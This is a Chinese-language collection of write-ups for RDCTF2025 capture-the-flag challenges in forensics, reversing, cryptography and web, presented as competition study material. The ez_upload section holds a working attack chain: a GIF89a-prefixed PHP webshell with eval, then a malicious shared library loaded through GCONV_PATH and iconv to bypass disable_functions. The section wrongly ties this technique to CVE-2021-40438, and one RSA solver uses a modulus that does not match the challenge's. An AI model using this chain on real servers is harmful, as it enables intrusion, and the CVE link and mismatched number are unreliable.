RDCTF2025

RDCTF2025

 次点击
109 分钟阅读

小蚂蚁拿什么剑啊

描述:这是一个流量分析题目。

tshark -r 6d95810d-083b-42eb-baa3-ac717c4b0f66.pcapng   分析该文件

使用 tshark 命令提取 HTTP 响应中的详细数据:tshark -r 6d95810d-083b-42eb-baa3-ac717c4b0f66.pcapng -Y "http.response" -V

发现了一串base64

import base64

data = '7f6c1d4ef77UkRDVEZ7YmQxNWRiMTctNzI5MC00NWYyLWIwMjctYTg2M2Q5Zjg4M2QyfQo=f62ebd462c8'

base64_part = data.split('7f6c1d4ef77')[1].split('f62ebd462c8')[0]

print(base64.b64decode(base64_part).decode('utf-8'))

得到flag:RDCTF{bd15db17-7290-45f2-b027-a863d9f883d2}

Ezbase

程序分析

1. 初步分析

  • 程序为Windows PE文件,初始状态为UPX压缩

  • 脱壳后得到可分析的二进制文件

2. 关键函数分析

主函数 sub_140011D80

__int64 sub_140011D80()
{
  // 变量定义...
  sub_1400111A4("Input flag: ");
  v2 = _acrt_iob_func(0);
  if ( fgets(Buffer, 256, v2) )
  {
    sub_140011BE0(Buffer); // 去除换行符
    Size = j_strlen(Buffer);
    if ( Size
      && Size < 0x100
      && (j_memcpy(v7, Buffer, Size), sub_1400117D0(v7, Size), sub_140011890((__int64)v7, Size, (__int64)Str1, 0x159u))
      && !j_strcmp(Str1, Str2) )
    {
      puts("Correct!");
    }
    else
    {
      puts("Wrong!");
    }
  }
  // ...
  return 0;
}

异或处理函数 sub_1400117D0

__int64 __fastcall sub_1400117D0(__int64 a1, unsigned __int64 a2)
{
  __int64 result; // rax
  __int64 i; // [rsp+28h] [rbp+8h]
  for ( i = 0; ; ++i )
  {
    result = i + 1;
    if ( i + 1 >= a2 )
      break;
    *(_BYTE *)(i + a1) ^= *(_BYTE *)(i + a1 + 1);
  }
  return result;
}

自定义base64编码函数 sub_140011890

__int64 __fastcall sub_140011890(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned __int64 a4)
{
  // 变量定义...
  if ( a4 < 4 * ((a2 + 2) / 3) + 1 )
    return 0;
  v5 = 0;
  for ( i = 0; i < a2; i += 3LL )
  {
    // 处理输入数据...
    v11 = v13 | (v10 << 8) | (*(unsigned __int8 *)(i + a1) << 16);
    *(_BYTE *)(v5 + a3) = aQwertyuiopasdf[(v11 >> 18) & 0x3F];
    v6 = v5 + 1;
    *(_BYTE *)(v6 + a3) = aQwertyuiopasdf[(v11 >> 12) & 0x3F];
    v7 = v6 + 1;
    if ( i + 1 >= a2 )
      v14 = 61; // '='
    else
      v14 = aQwertyuiopasdf[(v11 >> 6) & 0x3F];
    *(_BYTE *)(v7 + a3) = v14;
    v8 = v7 + 1;
    if ( i + 2 >= a2 )
      v15 = 61; // '='
    else
      v15 = aQwertyuiopasdf[v11 & 0x3F];
    *(_BYTE *)(v8 + a3) = v15;
    v5 = v8 + 1;
  }
  *(_BYTE *)(v5 + a3) = 0;
  return v5;
}

3. 关键数据

自定义base64表

QWERTYUIOPASDFGHJKLZXCVBNMabcdefghijklmnopqrstuvwxyz0123456789+/

编码后的字符串

YgcBTj0DKQPLX11ebUgIby0VW1KKGKxzBlhTKgFEKQXRWgYeV2omLXXqaJXTaUhfV2wtJwdeB2g5CwXEYwQQBI0=

解题思路

1. 逆向过程分析

  1. 程序处理流程
    - 输入flag → 去除换行符 → 异或处理 → 自定义base64编码 → 与预设值比较

  2. 逆向步骤
    - 自定义base64解码 → 逆向异或处理 → 得到原始flag

2. 实现细节

自定义base64解码

  • 使用题目提供的自定义base64表进行解码

  • 处理填充字符 '='

逆向异或处理

  • 异或操作是可逆的:a ^ b ^ b = a

  • 从后往前处理,恢复原始数据

解题代码

PowerShell 脚本

# 自定义base64表
$customTable = "QWERTYUIOPASDFGHJKLZXCVBNMabcdefghijklmnopqrstuvwxyz0123456789+/"
# 编码后的字符串
$encodedStr = "YgcBTj0DKQPLX11ebUgIby0VW1KKGKxzBlhTKgFEKQXRWgYeV2omLXXqaJXTaUhfV2wtJwdeB2g5CwXEYwQQBI0="
# 1. 自定义base64解码
function DecodeCustomBase64($encoded, $customTable) {
    $decoded = @()
    $bits = ""
    foreach ($c in $encoded.ToCharArray()) {
        if ($c -eq '=') {
            continue
        }
        $idx = $customTable.IndexOf($c)
        if ($idx -eq -1) {
            continue
        }
        $bits += [Convert]::ToString($idx, 2).PadLeft(6, '0')
    }
    for ($i = 0; $i -lt $bits.Length - 6; $i += 8) {
        if ($i + 8 -gt $bits.Length) {
            break
        }
        $byteStr = $bits.Substring($i, 8)
        $byte = [Convert]::ToInt32($byteStr, 2)
        $decoded += $byte
    }
    return $decoded
}
# 2. 逆向sub_1400117D0函数的操作
function ReverseXorOperation($bytes) {
    # 从后往前处理
    for ($i = $bytes.Length - 2; $i -ge 0; $i--) {
        $bytes[$i] = $bytes[$i] -bxor $bytes[$i + 1]
    }
    return $bytes
}
# 执行解码
$decodedBytes = DecodeCustomBase64 $encodedStr $customTable
# 执行逆向异或操作
$originalBytes = ReverseXorOperation $decodedBytes
# 转换为字符串
$flag = -join ($originalBytes | ForEach-Object { [char]$_ })
Write-Host "Flag: $flag"

运行结果

Flag: RDCTF{w31c0m3_70_rdc7f_C0n6r47u14710n5_y0u_637_7h3_r16h7_f146!!!}

sign in

给出一段 Python 代码:

from math import lcm
from Crypto.Util.number import *
from secrets import flag
p = getPrime(512)
q = getPrime(512)
n = p * q
m = bytes_to_long(flag)
e = lcm(p - 1, q - 1) - 1
c = pow(m, e, n)
print(f"n = {n}")
print(f"c = {c}")
# n = 8361079802492599664872263084074774151216050846496507764877107571363211031801920047849373267712354293588291130526038987776051260773780288857134243831386357173210052792035758223517443738061819730217655806432229128659331884868360667339831486733682473306585485025629579583503930932330062495890756152389878725363
# c = 77329031239551747098741279001766373605032807568073411648374335618913647229622551339221811139169208870251932566758930221945464120608981930902671426680176002899986807783654758555033244967299081953242525118242614366948888146435154917839074238457570488865817546147078192396282106365527579625709133854277995299788

核心观察

  • 这道题使用的是 RSA 场景:
    - 模数:n = p * q  
    - 明文:m = bytes_to_long(flag)

  • 关键点在于 e 的取值

e = lcm(p - 1, q - 1) - 1

记  
[
\lambda(n) = \text{lcm}(p-1, q-1)
]  
则题目令
[
e = \lambda(n) - 1
]
密文为:
[
c = m^e \bmod n = m^{\lambda(n)-1} \bmod n
]

数学推导

对 RSA 来说,如果 (\gcd(m, n) = 1),有 Carmichael 定理:
[
m^{\lambda(n)} \equiv 1 \pmod{n}
]
因此:
[
c = m^{\lambda(n)-1} \equiv m^{-1} \pmod{n}
]
也就是说,密文 c 是明文 m 在模 n 下的乘法逆元
[
c \equiv m^{-1} \pmod{n} \Rightarrow m \equiv c^{-1} \pmod{n}
]
所以,这题根本不需要分解 n,也不需要算私钥 d,直接对 c 求模逆就能得到 m:
[
m = c^{-1} \bmod n
]
最后再把 m 从整数转回字节串,即可得到 flag。

解题脚本

这里用 Python 的内置 pow 直接求模逆(Python3 支持 pow(a, -1, mod)):

n = 83610798024925996648722630840747741512160508464965077648771075713632110318019200478493732677123542935882911305260389877760512607737802888571342438313863571732100527920357582235174437380618197302176558064322291286593318848683606673398314867336824733065854850256295795835039309323300624958907561523898787253639
c = 77329031239551747098741279001766373605032807568073411648374335618913647229622551339221811139169208870251932566758930221945464120608981930902671426680176002899986807783654758555033244967299081953242525118242614366948888146435154917839074238457570488865817546147078192396282106365527579625709133854277995299788
# 计算 m = c^{-1} mod n
m = pow(c, -1, n)
# 将整数 m 转成 bytes,再转成字符串
l = (m.bit_length() + 7) // 8
flag = m.to_bytes(l, "big")
print(flag)

运行输出:

b'RDCTF{N3W_Y34R_N3W_T45K}'

Fibonacci?Tribonacci!

题目给出

脚本内容如下(核心部分):

from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from hashlib import md5
from secrets import flag
a = 114514
b = 1919810
c = 3502344
n = 2441279589855072012185493681589677978850030233737936622124189385966876579465581965714739695219635524618006351540383392462915145232447242610170569115379
p = 12558003803926122355192856799223219808675997425382453316279914088710915515394834253948359113075685634044322094918238512778425787825701396013393798956758721
for _ in range(n):
    a, b, c = b, c, (a + 2 * b + 3 * c) % p
key = md5((str(a) + str(b) + str(c)).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
enc = cipher.encrypt(pad(flag, 16))
print(f"enc = {enc.hex()}")
# enc = 3c1a9e8de775f9bf61fbb34673c44818d3522477c7f51a803de8e180e101eb00726992cc5906116801f7d8c893c28129

提示:这是斐波那契吗。

思路分析

  • 循环中每一步的更新为
    - a' = b
    - b' = c
    - c' = (a + 2b + 3c) mod p

  • 这是一个三阶线性递推(类似 Tribonacci),可以写成矩阵形式:
    [
    \begin{pmatrix}
    a' \
    b' \
    c'
    \end{pmatrix}
    =
    \begin{pmatrix}
    0 & 1 & 0 \
    0 & 0 & 1 \
    1 & 2 & 3
    \end{pmatrix}
    \begin{pmatrix}
    a
    b \
    c
    \end{pmatrix}
    \pmod p
    ]

  • 记初始向量 v₀ = (a₀, b₀, c₀)ᵀ,转移矩阵 M,如上所示。

  • 循环跑 n 次即 vₙ = Mⁿ · v₀(所有运算都在模 p 下进行)。

  • n 极大,无法直接模拟,但可以用矩阵快速幂在 O(log n) 步完成计算。

  • 得到最终的 aₙ, bₙ, cₙ 之后,用
    - key = md5((str(aₙ) + str(bₙ) + str(cₙ)).encode()).digest()
    - 模式为 AES-ECB
    - 已知 enc,因此直接解密即可拿到 flag。
    总体结构:这是“斐波那契风格线性递推 + 矩阵快速幂 + 对称密钥解密”的组合题。

解题脚本

编写解密脚本 solve_fib_tri.py

from Crypto.Cipher import AES
from hashlib import md5
def mat_mul(a, b, mod):
    return [
        [
            (a[i][0] * b[0][j] + a[i][1] * b[1][j] + a[i][2] * b[2][j]) % mod
            for j in range(3)
        ]
        for i in range(3)
    ]
def mat_pow(m, e, mod):
    r = [[1 if i == j else 0 for j in range(3)] for i in range(3)]
    while e > 0:
        if e & 1:
            r = mat_mul(r, m, mod)
        m = mat_mul(m, m, mod)
        e >>= 1
    return r
def main():
    a0 = 114514
    b0 = 1919810
    c0 = 3502344
    n = 2441279589855072012185493681589677978850030233737936622124189385966876579465581965714739695219635524618006351540383392462915145232447242610170569115379
    p = 12558003803926122355192856799223219808675997425382453316279914088710915515394834253948359113075685634044322094918238512778425787825701396013393798956758721
    enc_hex = "3c1a9e8de775f9bf61fbb34673c44818d3522477c7f51a803de8e180e101eb00726992cc5906116801f7d8c893c28129"
    m = [
        [0, 1, 0],
        [0, 0, 1],
        [1, 2, 3],
    ]
    mn = mat_pow(m, n, p)
    v0 = [a0, b0, c0]
    an, bn, cn = [
        (mn[i][0] * v0[0] + mn[i][1] * v0[1] + mn[i][2] * v0[2]) % p for i in range(3)
    ]
    key_material = (str(an) + str(bn) + str(cn)).encode()
    key = md5(key_material).digest()
    cipher = AES.new(key, AES.MODE_ECB)
    plaintext = cipher.decrypt(bytes.fromhex(enc_hex))
    print(plaintext)
if __name__ == "__main__":
    main()

运行脚本:

b'RDCTF{f1b0n4cc1_l1k3_m4tr1x_f4st_p0w3r1ng}\x06\x06\x06\x06\x06\x06'

可以看到是一个带 PKCS#7 填充的字节串,去掉末尾的 \x06 即可得到 flag。

ez_upload

解题步骤

1. 信息收集与文件上传绕过

访问目标网站,发现是一个文件上传页面。尝试上传常规 PHP 脚本,提示“不是图片”。
经过测试,服务器检查了文件内容头(Magic Bytes)。
绕过方式:
在 PHP 文件头部添加 GIF89a,并将文件后缀保留为 .php
Payload 示例:

GIF89a
<?php phpinfo(); ?>

上传成功后,可以执行 PHP 代码。

2. 环境检测

通过 phpinfo() 和简单的探测脚本发现:

  • Flag 位置: /flag (权限为 root:root 400),Web 用户无法直接读取。

  • 特权程序: 存在 /readflag 程序,推测用于读取 flag。

  • 函数禁用 (disable_functions): 禁用了 system, exec, shell_exec, passthru, proc_open 等命令执行函数。

  • 可用函数: 发现 putenviconv 函数未被禁用。

  • 系统环境: Linux (Debian/Ubuntu),PHP 7.4。

3. 限制绕过 (Bypass disable_functions)

由于无法直接使用 system 执行 /readflag,需要利用环境变量劫持绕过。
常见的 LD_PRELOAD 劫持 mail() 函数的方法尝试失败(可能是 sendmail 未安装或不可用)。
转向使用 iconv GCONV_PATH 劫持 漏洞 (CVE-2021-40438 相关变体利用)。
原理:
PHP 的 iconv 函数在进行字符集转换时,会根据 GCONV_PATH 环境变量加载 gconv-modules 配置文件。通过控制该环境变量,可以诱导 glibc 加载恶意的共享库 (.so)。

4. 漏洞利用实施

A. 编写恶意共享库 (hack.c)

编写一个 C 程序,利用构造函数 (__attribute__((constructor))) 在库加载时自动执行命令。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void __attribute__((constructor)) init() {
    unsetenv("LD_PRELOAD"); // 清理环境变量防止死循环
    system("/readflag > /tmp/flag_output"); // 执行 readflag 并将结果写入临时文件
}

编译为 hack.so (本地编译或通过 hex/base64 还原)。

B. 构造 gconv-modules

配置文件内容,定义一个自定义字符集 PWNED 指向我们的恶意库。

module PWNED// INTERNAL hack 2
module INTERNAL PWNED// hack 2

C. 上传与触发

利用自动化脚本 final_exploit.py 完成以下步骤:

  1. 上传 Shell: 上传一个包含 evalcommander.php

  2. 写入文件:
    - 将 hack.so 的 Base64 解码写入 /tmp/hack.so
    - 将 gconv-modules 写入 /tmp/gconv-modules

  3. 触发执行:
    发送 PHP 代码设置环境变量并调用 iconv
    php    putenv("GCONV_PATH=/tmp/");    iconv("PWNED", "UTF-8", "test");    

  4. 获取 Flag:
    读取 /tmp/flag_output 文件内容。

最终 Flag

flag{7b608b52-ef83-4970-936d-96c2d3ced0fc-80-41}

ez_pth

文件分析

这是一个AI的pth文件。需要pytorch

# get_flag.py
import torch
class CTFFlagModel(torch.nn.Module):
    def __init__(self):
        super(CTFFlagModel, self).__init__()
        self.fc = torch.nn.Linear(10, 5)
    def forward(self, x):
        return self.fc(x)
# 加载模型
model = torch.load(r'E:\06_Workbench\RDctf\ai\1.pth', weights_only=False)
# 直接获取flag属性
if hasattr(model, 'flag'):
    flag_value = getattr(model, 'flag')
    print("🎉 找到Flag!")
    print(f"Flag: {flag_value}")
else:
    print("未找到flag属性")
# 检查所有可能的属性
print("\n所有模型属性:")
for attr_name in dir(model):
    if not attr_name.startswith('_'):
        attr_value = getattr(model, attr_name)
        if not callable(attr_value):
            print(f"{attr_name}: {attr_value}")

ezpy

概述

  • 题目描述:奶龙刚学会用 PyInstaller 把 Python 打包为 exe,找出藏在里面的 flag。

  • 最终答案:RDCTF{w0_5h1_n41_10n6_w0_c41_5h1_n4_10n6}

有效步骤

  • 解包可执行文件
    - 使用 PyInstaller 自带工具列出 CArchive 内容:
    - 命令:pyi-archive_viewer -b video.exe
    - 关键条目:出现脚本项“1”,以及 PYZ.pyz(打包的 Python 模块与脚本)
    - 自动解包 PYZ:
    - 命令:python pyinstxtractor.py video.exe
    - 结果目录:video.exe_extracted/PYZ-00.pyz_extracted(标准库模块已解出)
    - 直接提取主脚本 pyc(来自 CArchive 列表的条目“1”):
    - 利用 CArchive 头部 MEI cookie 与条目的 position/length,定位并解压条目数据为 pyc
    - 生成文件:video_1.pyc

  • 反编译 pyc 获取逻辑
    - 工具:PyLingual(可直接上传 .pyc 进行反编译)
    - 反编译得到的核心代码(简化展示):

    def rc4(data: bytes, key: bytes) -> bytes:
        s = list(range(256))
        j = 0
        for i in range(256):
            j = j + s[i] + key[i % len(key)] & 255
            s[i], s[j] = (s[j], s[i])
        i = j = 0
        out = bytearray()
        for b in data:
            i = i + 1 & 255
            j = j + s[i] & 255
            s[i], s[j] = (s[j], s[i])
            k = s[s[i] + s[j] & 255]
            out.append(b ^ k)
        return bytes(out)
    def main():
        print('plz input the flag:')
        key = b'nailong'
        target = bytes.fromhex('2ef01fece0420e0e3d2179e97f26eeab020a32ef51e2a73b2ab6d550196858fa89cf284397df709afc')
        s = input().strip()
        if rc4(s.encode('utf-8'), key) == target:
            print('right!!!')
        else:
            print('wrong!!!')
    if __name__ == '__main__':
        main()
 ```
- 还原 flag(逆向 RC4)
  - 由于运行时是 rc4(输入, key) == target,想得到输入,只需对 target 做同样 RC4 操作(RC4 可逆):
     ```python
    from binascii import unhexlify
    def rc4(data: bytes, key: bytes) -> bytes:
        s = list(range(256))
        j = 0
        for i in range(256):
            j = (j + s[i] + key[i % len(key)]) & 255
            s[i], s[j] = s[j], s[i]
        i = j = 0
        out = bytearray()
        for b in data:
            i = (i + 1) & 255
            j = (j + s[i]) & 255
            s[i], s[j] = s[j], s[i]
            k = s[(s[i] + s[j]) & 255]
            out.append(b ^ k)
        return bytes(out)
    key = b'nailong'
    target = unhexlify('2ef01fece0420e0e3d2179e97f26eeab020a32ef51e2a73b2ab6d550196858fa89cf284397df709afc')
    flag = rc4(target, key).decode('utf-8')
    print(flag)  # RDCTF{w0_5h1_n41_10n6_w0_c41_5h1_n4_10n6}

产物

  • 主脚本 pyc:[video_1.pyc](file:///e:/06_Workbench/RDctf/re/ezpy/video_1.pyc

  • 已解出的标准库模块目录:PYZ-00.pyz_extracted

使用的库与提取脚本

  • 工具/库
    - PyInstaller 的 pyi-archive_viewer(用于列出 PKG/CArchive 并获取条目偏移与长度)
    - Python 标准库 struct 与 zlib(用于解析 MEI cookie 与解压条目数据)
    - 自备脚本:本仓库中的 pyinstxtractor.py(自动解包 PYZ)

  • 直接提取主脚本 pyc 的示例脚本(根据 pyi-archive_viewer 列出条目“1”的位置与大小提取):

import struct, zlib
s = open('video.exe', 'rb').read()
m = b'MEI\x0c\x0b\x0a\x0b\x0e'
p = s.rfind(m)
# 由头部计算得到的包起始(结合 PyInstaller 结构与实际检查)
pkg_start = 345600
# 由 pyi-archive_viewer 列表得到的条目“1”的偏移与长度
pos = 14579
length = 645
raw = s[pkg_start + pos : pkg_start + pos + length]
blob = zlib.decompress(raw)
# 写入有效 pyc(Python 3.x 头 + 代码对象)
open('video_1.pyc', 'wb').write(b'\x55\x0d\x0d\x0a' + b'\x00' * 12 + blob)

被打包的脚本代码(题目原始逻辑)

def rc4(data: bytes, key: bytes) -> bytes:
    s = list(range(256))
    j = 0
    for i in range(256):
        j = j + s[i] + key[i % len(key)] & 255
        s[i], s[j] = (s[j], s[i])
    i = j = 0
    out = bytearray()
    for b in data:
        i = i + 1 & 255
        j = j + s[i] & 255
        s[i], s[j] = (s[j], s[i])
        k = s[s[i] + s[j] & 255]
        out.append(b ^ k)
    return bytes(out)
def main():
    print('plz input the flag:')
    key = b'nailong'
    target = bytes.fromhex('2ef01fece0420e0e3d2179e97f26eeab020a32ef51e2a73b2ab6d550196858fa89cf284397df709afc')
    s = input().strip()
    if rc4(s.encode('utf-8'), key) == target:
        print('right!!!')
    else:
        print('wrong!!!')
if __name__ == '__main__':
    main()

ezvm

题目信息

  • 比赛:RDCTF

  • 分类:Reverse / VM

  • 文件:video.exe

  • flag 前缀:rdctf

  • 最终 flag:rdctf{vm_is_easy_for_you}

初步分析

载入 IDA(x64),找到真正的入口 main(地址 0x1400011F0):

int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *v3;
  int v5;
  unsigned __int8 v6;
  unsigned int v7;
  unsigned int v8;
  unsigned __int16 v9;
  int v10;
  int v11;
  _DWORD v12[64];
  memset(v12, 0, sizeof(v12));
  v5 = -1;
  v7 = 0;
  v8 = 0;
  v10 = 0;
  v6 = 0;
  v3 = _acrt_iob_func(1u);
  setvbuf(v3, 0, 4, 0);
  sub_140001060("plz input the flag:");
  while ( 1 )
  {
    if ( (unsigned int)dword_140005CC4 > 0x320 )
    {
      puts("ip out of range");
      return 0;
    }
    sub_1400011B0();
    v9 = word_140005090[dword_140005CC4];
    if ( !v9 )
      break;
    if ( v5 < -1 || v5 >= 64 )
    {
      puts("stack bad");
      return 0;
    }
    switch ( v9 )
    {
      ...
    }
  }
  sub_140001060("right!!!");
  return 0;
}

可以看到:

  • 程序提示输入 flag,并进入一个循环解释器。

  • dword_140005CC4 是 VM 的 ip

  • word_140005090 是一串字节码。

  • 通过 switch (v9) 对不同“指令”进行处理,是典型 VM 结构。

字节码存储与解密

在每次取指前,会调用 sub_1400011B0

int sub_1400011B0()
{
  int result;
  result = IsDebuggerPresent();
  if ( !result )
  {
    result = dword_140005080 ^ word_140005090[dword_140005CC4];
    word_140005090[dword_140005CC4] ^= dword_140005080;
  }
  return result;
}

含义:

  • 如果没被调试,则用一个 32 位 key dword_140005080 去异或当前字节码并写回。

  • 初始 dword_140005080 = 17(在 .data 区能读到)。

  • mainswitch 中,不同指令会以不同方式修改 key(加一或 ^=0x25),形成一个与执行路径相关的解密流程。
    在调试器里把 word_140005090 整块 dump 出来(本题中位于 0x140005090),得到的是一串 16 位小端字。

指令集

结合 switch 分支以及若干算术函数,可以得到 VM 指令集大致如下(只列出关键):
| opcode | 含义                    |
|--------|-------------------------|
| 4      | v7 = v6(把输入字节收集到寄存器) |
| 5      | v10 = v7 >> v8        |
| 6      | v10 = v7 << v8        |
| 7      | 若 v10 == 0 则输出 wrong!!! 结束;否则继续且 key ^= 0x25 |
| 8      | 从 stdin 读取一个字节到 v6 |
| 9      | v10 = (v7 == v8)      |
| A      | push(v7 + v8)         |
| B      | push(v7 - v8)         |
| C      | push(v7 ^ v8)         |
| D      | 带解密的立即数入栈      |
| E      | v7 = pop()            |
| F      | v8 = pop()            |
其中 D 指令有一点特别:

case 0xDu:
  if ( v5 + 1 >= 64 ) { puts("stack overflow"); return 0; }
  if ( dword_140005CC4 + 1 >= 801 ) { puts("bad bytecode"); return 0; }
  ++dword_140005CC4;
  dword_140005080 ^= 0x25u;
  word_140005090[dword_140005CC4] ^= dword_140005080;
  v12[++v5] = word_140005090[dword_140005CC4++];
  ++dword_140005080;
  continue;
  • ip++key ^= 0x25,用新 key 把紧接的字节码再次解密并写回。

  • 再把解密后的值压栈,并 ip++key++
    这样不仅 opcode 被动态解密,立即数也会被按执行路径二次解密

校验逻辑(整体流程)

从高层看,整个 VM 做的事情是:

  1. 不断读取用户输入的字符(通过 opcode 8)。

  2. 每读一个字符,就对这个字符进行一系列运算,最终与某个常量比较(通过 9 和 7)。

  3. 只要有一个字符不满足等式,opcode 7 就会触发 wrong!!!,程序退出。

  4. 当所有字符都通过校验,字节码流遇到 0 结束,打印 right!!!
    因此可以认为这是“逐字符约束 + 立即失败”的模式,非常适合做逐字爆破。

自动求解思路

直接手算整套 VM 比较繁琐,但可以利用 VM 自己做“判题器”:

  1. 从文件中复制整块 word_140005090 到脚本里,保持小端序。

  2. 在脚本中实现一个与二进制完全一致的 VM:
    - 维护 ipkeyspstackv6v7v8v10
    - 所有 key 的变换(+1^=0x25)要精确一致。
    - D 指令对立即数的解密和写回也要实现。

  3. 执行 VM:
    - 每次跑到 opcode 8 时,代表程序需要读一个新字符,此时暂停。
    - 保存当前 VM 的完整快照(寄存器、栈、code 数组、ip、key)。

  4. 对当前这个字符做穷举:
    - 对 c 从 32 到 126:
    - 恢复快照,把 v6 = c
    - 继续执行,在本轮中要么遇到 wrong!!!(opcode 7 且 v10 == 0),要么遇到一个“通过”的 7(v10 != 0),或者异常。
    - 只要有一种 c 能让这轮执行落在“通过”的 7,就认为该 c 是这个位置的正确字符。

  5. 把该字符加入 flag,继续执行 VM,直到遇到 opcode 0(halt)。

求解脚本实现

下面是简化后的 Python 版本(去掉长数据,只展示核心结构)。完整版本见仓库中的 solve_ezvm.py

DATA_HEX = "..."  # 省略
def parse_words():
    toks = [t for t in DATA_HEX.strip().split() if t.startswith("0x")]
    bytes_list = [int(t, 16) for t in toks]
    words = []
    for i in range(0, len(bytes_list), 2):
        lo = bytes_list[i]
        hi = bytes_list[i+1] if i+1 < len(bytes_list) else 0
        words.append(lo | (hi << 8))
    return words
class VM:
    def __init__(self, code):
        self.code = code[:]
        self.ip = 0
        self.key = 17
        self.sp = -1
        self.stack = [0] * 64
        self.v6 = self.v7 = self.v8 = self.v10 = 0
    def step(self):
        if self.ip >= len(self.code):
            return ("eof", None)
        op = self.code[self.ip] ^ self.key
        self.code[self.ip] ^= self.key
        if op == 0:
            return ("halt", None)
        if op == 4:
            self.v7 = self.v6
            self.ip += 1
            self.key = (self.key + 1) & 0xFFFFFFFF
            return ("cont", None)
        if op == 5:
            self.v10 = (self.v7 >> (self.v8 & 31)) & 0xFFFFFFFF
            self.ip += 1
            self.key = (self.key + 1) & 0xFFFFFFFF
            return ("cont", None)
        if op == 6:
            self.v10 = (self.v7 << (self.v8 & 31)) & 0xFFFFFFFF
            self.ip += 1
            self.key = (self.key + 1) & 0xFFFFFFFF
            return ("cont", None)
        if op == 7:
            if self.v10 == 0:
                return ("wrong", None)
            self.ip += 1
            self.key ^= 0x25
            return ("ok", None)
        if op == 8:
            self.ip += 1
            self.key ^= 0x25
            return ("cont", "read")
        if op == 9:
            self.v10 = 1 if (self.v7 == self.v8) else 0
            self.ip += 1
            self.key ^= 0x25
            return ("cont", None)
        if op == 0xA:
            if self.sp + 1 >= 64:
                return ("error", "stack overflow")
            self.sp += 1
            self.stack[self.sp] = (self.v7 + self.v8) & 0xFFFFFFFF
            self.ip += 1
            self.key ^= 0x25
            return ("cont", None)
        if op == 0xB:
            if self.sp + 1 >= 64:
                return ("error", "stack overflow")
            self.sp += 1
            self.stack[self.sp] = (self.v7 - self.v8) & 0xFFFFFFFF
            self.ip += 1
            self.key ^= 0x25
            return ("cont", None)
        if op == 0xC:
            if self.sp + 1 >= 64:
                return ("error", "stack overflow")
            self.sp += 1
            self.stack[self.sp] = (self.v8 ^ self.v7) & 0xFFFFFFFF
            self.key ^= 0x25
            self.ip += 1
            return ("cont", None)
        if op == 0xD:
            if self.sp + 1 >= 64:
                return ("error", "stack overflow")
            if self.ip + 1 >= len(self.code):
                return ("error", "bad bytecode")
            self.ip += 1
            self.key ^= 0x25
            val = self.code[self.ip] ^ self.key
            self.code[self.ip] ^= self.key
            self.sp += 1
            self.stack[self.sp] = val & 0xFFFFFFFF
            self.ip += 1
            self.key = (self.key + 1) & 0xFFFFFFFF
            return ("cont", None)
        if op == 0xE:
            if self.sp < 0:
                return ("error", "stack underflow")
            self.v7 = self.stack[self.sp] & 0xFFFFFFFF
            self.sp -= 1
            self.key ^= 0x25
            self.ip += 1
            return ("cont", None)
        if op == 0xF:
            if self.sp < 0:
                return ("error", "stack underflow")
            self.v8 = self.stack[self.sp] & 0xFFFFFFFF
            self.sp -= 1
            self.key ^= 0x25
            self.ip += 1
            return ("cont", None)
        self.ip += 1
        self.key = (self.key + 1) & 0xFFFFFFFF
        return ("cont", None)
def recover_flag():
    code = parse_words()
    vm = VM(code)
    flag_chars = []
    while True:
        while True:
            st, info = vm.step()
            if st == "halt":
                return "".join(flag_chars)
            if st in ("wrong", "error"):
                return None
            if info == "read":
                break
        found = None
        snapshot = (vm.ip, vm.key, vm.sp, vm.stack[:], vm.v7, vm.v8, vm.v10, vm.code[:])
        for c in range(32, 127):
            vm.ip, vm.key, vm.sp = snapshot[0], snapshot[1], snapshot[2]
            vm.stack = snapshot[3][:]
            vm.v7, vm.v8, vm.v10 = snapshot[4], snapshot[5], snapshot[6]
            vm.code = snapshot[7][:]
            vm.v6 = c
            ok = None
            while True:
                st, info = vm.step()
                if st in ("halt", "error", "wrong"):
                    ok = False
                    break
                if st == "ok":
                    ok = True
                    break
            if ok:
                found = chr(c)
                break
        if not found:
            return None
        flag_chars.append(found)
if __name__ == "__main__":
    print(recover_flag())

在题目给出的环境中运行完整脚本,得到输出:

rdctf{vm_is_easy_for_you}

© 本文著作权归作者所有,未经许可不得转载使用。